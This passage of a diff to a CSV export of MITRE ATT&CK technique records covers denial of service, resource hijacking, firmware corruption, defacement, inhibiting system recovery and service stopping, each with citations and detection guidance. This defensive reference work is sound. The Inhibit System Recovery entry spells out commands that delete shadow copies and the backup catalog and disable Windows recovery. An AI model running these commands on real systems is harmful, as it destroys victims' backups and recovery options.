'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'}, {'source_name': 'Unit 42 Pirpi July 2015', 'description': 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.', 'url': 'https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Deloitte Threat Library Team', 'Sunny Neo']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static File Analysis']","Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",False,,"['Windows', 'macOS', 'Linux']",1.3,,,,,,, +attack-pattern,attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-17T20:23:15.105Z,2021-04-12T18:34:06.995Z,Network Denial of Service,"Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). @@ -2725,76 +2955,81 @@ To perform Network DoS attacks several aspects apply to multiple methods, includ Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. -For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1498', external_id='T1498'), ExternalReference(source_name='FireEye OpPoisonedHandover February 2016', description='Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.', url='https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html'), ExternalReference(source_name='FSISAC FraudNetDoS September 2012', description='FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.', url='https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf'), ExternalReference(source_name='Symantec DDoS October 2014', description='Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.', url='https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf'), ExternalReference(source_name='Cisco DoSdetectNetflow', description='Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', url='https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf')]",attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-04-12 18:34:06.995000+00:00,Network Denial of Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']","['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,,,,"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",,,,['Availability'],False,,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,1.1 -2019-04-17 14:50:05.682000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. +For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1498', 'external_id': 'T1498'}, {'source_name': 'FireEye OpPoisonedHandover February 2016', 'description': 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html'}, {'source_name': 'FSISAC FraudNetDoS September 2012', 'description': 'FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.', 'url': 'https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf'}, {'source_name': 'Symantec DDoS October 2014', 'description': 'Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']","['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",False,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",1.1,,,,,['Availability'],, +attack-pattern,attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-17T14:50:05.682Z,2021-04-14T12:06:32.187Z,Resource Hijacking,"Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs) -Additionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1496', external_id='T1496'), ExternalReference(source_name='Kaspersky Lazarus Under The Hood Blog 2017', description='GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', url='https://securelist.com/lazarus-under-the-hood/77908/'), ExternalReference(source_name='CloudSploit - Unused AWS Regions', description='CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', url='https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc'), ExternalReference(source_name='Unit 42 Hildegard Malware', description='Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', url='https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'), ExternalReference(source_name='Trend Micro Exposed Docker APIs', description='Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.', url='https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html'), ExternalReference(source_name='Trend Micro War of Crypto Miners', description='Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.', url='https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html')]",attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-04-14 12:06:32.187000+00:00,Resource Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Jay Chen, Palo Alto Networks', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status']",,,,,"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.",,,,['Availability'],False,,,"['User', 'Administrator']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",,,,1.2 -2019-04-12 18:28:15.451000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1495', external_id='T1495'), ExternalReference(source_name='Symantec Chernobyl W95.CIH', description='Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.', url='https://www.symantec.com/security-center/writeup/2000-122010-2655-99'), ExternalReference(source_name='MITRE Trustworthy Firmware Measurement', description='Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.', url='http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research')]",attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-07-14 19:31:46.550000+00:00,Firmware Corruption,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Firmware: Firmware Modification'],,,,,System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.,,,,['Availability'],False,,,"['Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,1.0 -2019-04-08 17:51:41.390000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1491', external_id='T1491')]",attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-03-08 10:33:01.150000+00:00,Defacement,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. +Additionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1496', 'external_id': 'T1496'}, {'source_name': 'Kaspersky Lazarus Under The Hood Blog 2017', 'description': 'GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', 'url': 'https://securelist.com/lazarus-under-the-hood/77908/'}, {'source_name': 'CloudSploit - Unused AWS Regions', 'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc'}, {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'}, {'source_name': 'Trend Micro Exposed Docker APIs', 'description': 'Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html'}, {'source_name': 'Trend Micro War of Crypto Miners', 'description': 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Jay Chen, Palo Alto Networks', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status']",,"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.",False,"['User', 'Administrator']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",1.2,,,,,['Availability'],, +attack-pattern,attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-12T18:28:15.451Z,2020-07-14T19:31:46.550Z,Firmware Corruption,"Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1495', 'external_id': 'T1495'}, {'source_name': 'Symantec Chernobyl W95.CIH', 'description': 'Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.', 'url': 'https://www.symantec.com/security-center/writeup/2000-122010-2655-99'}, {'source_name': 'MITRE Trustworthy Firmware Measurement', 'description': 'Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.', 'url': 'http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Firmware: Firmware Modification'],,System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.,False,"['Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Availability'],, +attack-pattern,attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-08T17:51:41.390Z,2021-03-08T10:33:01.150Z,Defacement,"Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1491', 'external_id': 'T1491'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. -",,,,['Integrity'],False,,,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,1.2 -2019-04-02 13:54:43.136000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) +",False,,"['Windows', 'IaaS', 'Linux', 'macOS']",1.2,,,,,['Integrity'],, +attack-pattern,attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-02T13:54:43.136Z,2020-07-14T19:33:52.512Z,Inhibit System Recovery,"Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: * vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete * wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet -* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1490', external_id='T1490'), ExternalReference(source_name='Talos Olympic Destroyer 2018', description='Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', url='https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'), ExternalReference(source_name='FireEye WannaCry 2017', description='Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.', url='https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html')]",attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-07-14 19:33:52.512000+00:00,Inhibit System Recovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Yonatan Gotlib, Deep Instinct']","['Process: Process Creation', 'Command: Command Execution', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'File: File Deletion']",,,,,"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. +* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1490', 'external_id': 'T1490'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}, {'source_name': 'FireEye WannaCry 2017', 'description': 'Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yonatan Gotlib, Deep Instinct']","['Process: Process Creation', 'Command: Command Execution', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'File: File Deletion']",,"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. -Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage).",,,,['Availability'],False,,,"['Administrator', 'root', 'SYSTEM', 'User']","['Windows', 'macOS', 'Linux']",,,,1.0 -2019-03-29 19:00:55.901000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) +Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage).",False,"['Administrator', 'root', 'SYSTEM', 'User']","['Windows', 'macOS', 'Linux']",1.0,,,,,['Availability'],, +attack-pattern,attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-03-29T19:00:55.901Z,2021-03-02T22:11:32.017Z,Service Stop,"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) -Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1489', external_id='T1489'), ExternalReference(source_name='Talos Olympic Destroyer 2018', description='Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', url='https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'), ExternalReference(source_name='Novetta Blockbuster', description='Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', url='https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'), ExternalReference(source_name='SecureWorks WannaCry Analysis', description='Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.', url='https://www.secureworks.com/research/wcry-ransomware-analysis')]",attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-03-02 22:11:32.017000+00:00,Service Stop,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Process: Process Termination']",,,,,"Monitor processes and command-line arguments to see if critical processes are terminated or stop running. +Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1489', 'external_id': 'T1489'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}, {'source_name': 'Novetta Blockbuster', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', 'url': 'https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'}, {'source_name': 'SecureWorks WannaCry Analysis', 'description': 'Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.', 'url': 'https://www.secureworks.com/research/wcry-ransomware-analysis'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Process: Process Termination']",,"Monitor processes and command-line arguments to see if critical processes are terminated or stop running. Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links. Alterations to the service binary path or the service startup type changed to disabled may be suspicious. -Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)",,,,['Availability'],False,,,"['Administrator', 'SYSTEM', 'User']","['Windows', 'Linux', 'macOS']",,,,1.2 -2019-03-15 13:59:30.390000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: 